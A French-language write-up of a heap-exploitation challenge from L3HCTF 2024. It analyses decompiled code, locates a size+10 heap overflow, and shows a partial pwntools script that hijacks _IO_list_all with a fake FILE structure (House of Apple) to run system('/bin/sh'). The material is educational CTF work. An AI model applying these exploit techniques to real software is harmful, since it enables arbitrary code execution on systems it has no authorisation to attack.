Analyse et Exploitation d'une Vulnérabilité Heap dans L3HCTF 2024

Cet article détaille le processus d'analyse et d'exploitation d'une vulnérabilité de type heap dans un programme C++ présenté lors de la compétition L3HCTF 2024. L'objectif est de fournir un guide pour les futurs participants en décortiquant le fonctionnement du programme et les mécanismes menant à la prise de contrôle.

Analyse Structurale et Exploitation des Vulnérabilités

Une compréhension approfondie des initialisations et des structures de données créées par le programme est cruciale pour identifier et exploiter les failles.

1. Flux d'Exécution du Programme

Le programme effectue plusieurs opérations initiales avant d'entrer dans une boucle principale : allocation d'un tampon, configuration de l'entrée/sortie standard, initialisation de sturctures de données (notamment une swisstable), libération du tampon initial, puis un cycle interactif.

La boucle principale, où se situe la vulnérabilité, permet au joueur d'interagir avec différentes fonctionnalités, comme la consultation de cartes au trésor, l'achat d'objets et l'enregistrement de découvertes.


int __cdecl main(int argc, const char **argv, const char **envp)
{
  // ... initialisations ...
  ptr = malloc(0x400uLL); // Allocation initiale
  banner();
  init(); // Initialisation de structures de données
  free(ptr); // Libération du tampon initial

  do
  {
    // Boucle principale d'interaction
    while ( 1 )
    {
      // ... sélection de destination ...
      if ( SwissTable<unsigned long="">::entry(hashmap, destination) ) // Vérification de la destination sur la carte
        break;
      // ... message d'erreur ...
    }
    // ... vérification de dangerosité ...
    get_or_put(destination); // Fonction clé pour l'interaction
    puts("Captain! Write something to record our achievements!");
    printf("Content length: ");
    std::istream::operator>>(); // Lecture de la taille du contenu
    if ( size <= 0x1000 )
      break; // Sortie si la taille est valide
    // ... message d'erreur ...
  }
  page = malloc(size); // Allocation pour le contenu
  printf("Content: ");
  v10 = read(0, page, size + 10); // <<< VULNÉRABILITÉ DE DÉPASSEMENT HEAP ICI
  printf("Read %#zx bytes.\n", v10);
  free(page); // Libération du tampon de contenu

  shop(); // Fonction d'achat potentiellement coûteuse

  if ( have_dream ) // Condition pour la fuite d'adresse
  {
    // ... affichage de l'adresse du hashmap (heap leak) ...
    size_4 = 0;
    std::istream::operator>>();
    v3 = size_4;
    if ( v3 <= SwissTable<unsigned long="">::capacity(hashmap) )
    {
      v4 = std::vector<unsigned char="">::operator[](*(hashmap + 8), size_4);
      read(0, v4, 1uLL); // Écriture d'un octet à une adresse contrôlée
    }
    // ...
    have_dream = 0;
  }
  // ... fin de la boucle ...
  return 0;
}
</unsigned></unsigned></unsigned>

2. Analyse de la Fonction init

La fonction init commence par mapper une région de mémoire (0x1000 octets) remplie de données aléatoires. Ensuite, elle alloue un bloc de 0x18 octets, désigné ici comme contrl_heap, qui sert de base pour initialiser une structure SwissTable.

Cette structure SwissTable est composée de trois parties principales stockées dans contrl_heap :

  1. *contrl_heap = hashvector;: Pointeur vers une structure de type std::vector contenant des paires clé-valeur (kv_pair).
  2. contrl_heap[1] = data_ptr;: Pointeur vers une autre structure de type std::vector contenant des octets.
  3. contrl_heap[2] = 0LL;: Une valeur entière.

2.1 Initialisation de la Structure swisstable

L'initialisation implique la création de deux vecteurs :

  • hashvector : Un std::vector de kv_pair<unsigned long, unsigned long>, alloué avec une capacité de 16 éléments. La mémoire allouée pour ce vecteur est stockée à *contrl_heap.
  • data_ptr : Un std::vector de unsigned char, également alloué avec une capacité de 16 éléments. La mémoire est stockée à contrl_heap[1].

La structure interne des vecteurs alloués par std::vector suit le modèle standard : un pointeur vers les données, un pointeur vers la fin du stockage alloué, et un pointeur vers la capacité totale. Dans ce cas, la taille de stockage pour chaque vecteur est de 16 éléments, ce qui correspond à 16 * 8 octets pour hashvector (car kv_pair contient deux unsigned long) et 16 octets pour data_ptr.

2.2 Initialisation des Données de swisstable

La fonction init remplit ensuite la swisstable avec des entrées jusqu'à atteindre une taille de 28 (0x1B + 1). Chaque entrée est générée aléatoirement avec une coordonnée (entre 0 et 4095) et un indicateur de sécurité (sûr ou non).

La fonction SwissTable<unsigned long,unsigned long>::entry est utilisée pour vérifier l'existence d'une entrée pour une destination donnée. Elle utilise une fonction de hachage (SHA256) suivie de transformations (h1, h2) pour déterminer l'emplacement potentiel de l'entrée dans la structure de données.

3. Analyse de la Fonction SwissTable::entry

Cette fonction est responsable de la recherche d'une entrée dans la swisstable. Elle commence par hacher la clé fournie en utilisant SHA256. Ensuite, elle décompose le hachage en parties haute (h1) et basse (h2). h1 est utilisé pour calculer un index dans le vecteur principal (hashvector), tandis que h2 sert de byte de contrôle.

La fonction entry_idx effectue ensuite une recherche basée sur ces valeurs hachées. La vulnérabilité principale réside dans la manière dont les indices sont calculés et les données sont comparées, potentiellement permettant de contourner les vérifications de sécurité.

4. Analyse Détaillée de la Boucle Principale (main)

4.1 Fonction get_or_put

Cette fonction est le cœur de l'interaction. Elle permet de lire une valeur (or) à une coordonnée donnée dans la mémoire mappée initialement (field) ou d'écrire une valeur (bury). Il y a une écriture arbitraire sur une région de mémoire à une adresse calculée comme *(field + destination).

Le champ field, initialisé par mmap, est une zone de 4096 octets remplie de valeurs aléatoires. La fonction get_or_put permet de lire ou d'écrire sur cette zone en utilisant destination comme offset. Cependant, l'accès est limité par les vérifications effectuées dans la boucle principale via SwissTable::entry et SwissTable::operator[].

4.2 Dépassement Heap dans main

La section de code suivante présente une vulnérabilité de dépassement de tas (heap overflow) :


    page = malloc(size);
    printf("Content: ");
    v10 = read(0, page, size + 10); // <<< Heap Overflow
    printf("Read %#zx bytes.\n", v10);
    free(page);

Si size est un multiple de 8, lire size + 10 octets peut potentiellement écraser le pointeur fd (forward pointer) du bloc heap suivant, permettant un contrôle sur la gestion de la mémoire.

4.3 Fuite d'Adresse Heap

Après avoir dépensé 30 pièces lors de la fonction shop, le programme révèle l'adresse du pointeur hashmap via un printf formaté avec %p. Cela fournit une fuite de l'adresse de base du tas (heap base).

De plus, une fonctionnalité permet d'écrire un seul octet à une position spécifique dans la structure de données de hashmap, ce qui peut être utilisé pour manipuler des pointeurs ou d'autres données critiques une fois l'adresse du tas connue.

5. Stratégie d'Exploitation

5.1 Structure de SwissTable

La SwissTable gère une table de hachage avec des collisions résolues par chaînage. La structure clé observée est la suivante :

  • Un pointeur vers les données des paires clé-valeur (kv_pairs).
  • Un pointeur vers des données de contrôle (contrl_data).
  • La taille actuelle de la table.

La vulnérabilité de dépassement heap (heap overflow) lors de la lecture dans main permet de modifier le pointeur fd du bloc heap suivant. En combinant cela avec la possibilité de recréer un bloc heap et de le remplir avec des données contrôlées, on peut faire pointer le hashmap vers une zone de mémoire arbitraire, idéalement un bloc heap que nous avons nous-mêmes alloué et rempli.

5.2 Contournement des Vérifications

Les fonctions SwissTable::entry et SwissTable::operator[] effectuent des vérifications basées sur les valeurs hachées de la clé et la structure interne de la table. Pour exploiter la lecture/écriture arbitraire dans get_or_put, il faut d'abord satisfaire ces vérifications. Cela implique de construire une fausse structure de kv_pair dans notre propre bloc heap alloué, qui sera référencée par le hashmap détourné.

En calculant soigneusement le hachage et les indices, et en fournissant une fausse table de hachage dans le bloc heap que nous contrôlons (via le dépassement), nous pouvons tromper le programme pour qu'il croie que nous accédons à une destination valide sur la carte.

5.3 Fuite de libc et Prise de Contrôle

Après avoir obtenu l'adresse de base du tas via la fuite dans main, nous pouvons utiliser la capacité d'écriture d'un octet pour manipuler les structures de données. Une stratégie courante consiste à utiliser une technique comme "House of Apple" ou similaire pour corrompre un pointeur de fichier (FILE*) afin d'obtenir une exécution de code arbitraire.

En particulier, l'adresse du pointeur _IO_list_all dans la libc peut être modifiée pour pointer vers une fausse structure FILE que nous contrôlons. Cette structure peut ensuite être configurée pour appeler une fonction système arbitraire, telle que system("/bin/sh"), lors d'une opération ultérieure sur le pointeur de fichier.

Le script d'exploitation fourni démontre cette approche : il effectue d'abord la fuite de l'adresse du tas, puis celle de la libc, avant de construire une fausse structure FILE dans le tas et de détourner _IO_list_all pour obtenir un shell.


# Extrait du script d'exploitation (Python)
# ... (calculs de base heap/libc) ...

# Configuration de la fausse structure FILE*
fake_io_addr = heap_base+0x11ec0
fake_wide_data_addr = fake_io_addr+0x200

libc.address = libc_base

# Modification de _IO_list_all pour pointer vers notre fausse structure
aaw(libc.sym['_IO_list_all'], p64(fake_io_addr)[:6])

fake_io = FileStructure()
fake_io.flags = u32(b'  sh') # Flags pour déclencher l'exécution
fake_io.vtable = libc_base+0x216F40 # Vtable pour FILE* corrompu
fake_io._IO_write_base = 0
fake_io._IO_write_ptr = 1
fake_io._wide_data = fake_wide_data_addr # Pointeur vers les données étendues

# Préparation des données étendues (wide_data) pour appeler system
fake_wide_data = flat({
    0x68: libc.sym['system'], # Adresse de system
    0xe0: fake_wide_data_addr # Vtable pour wide_data
}, filler=b'\x00')

payload = flat({
    0: bytes(fake_io),
    0x200: fake_wide_data
}, filler=b'\x00')

# ... (application du payload via les fonctions du programme) ...

sa(b'(y to end exploration)\n', b'y') # Terminer l'exploration et déclencher l'exploit
ia() # Ouvrir un shell interactif

Étiquettes: pwn heap exploitation buffer overflow libc L3HCTF

Publié le 11 juin à 18h08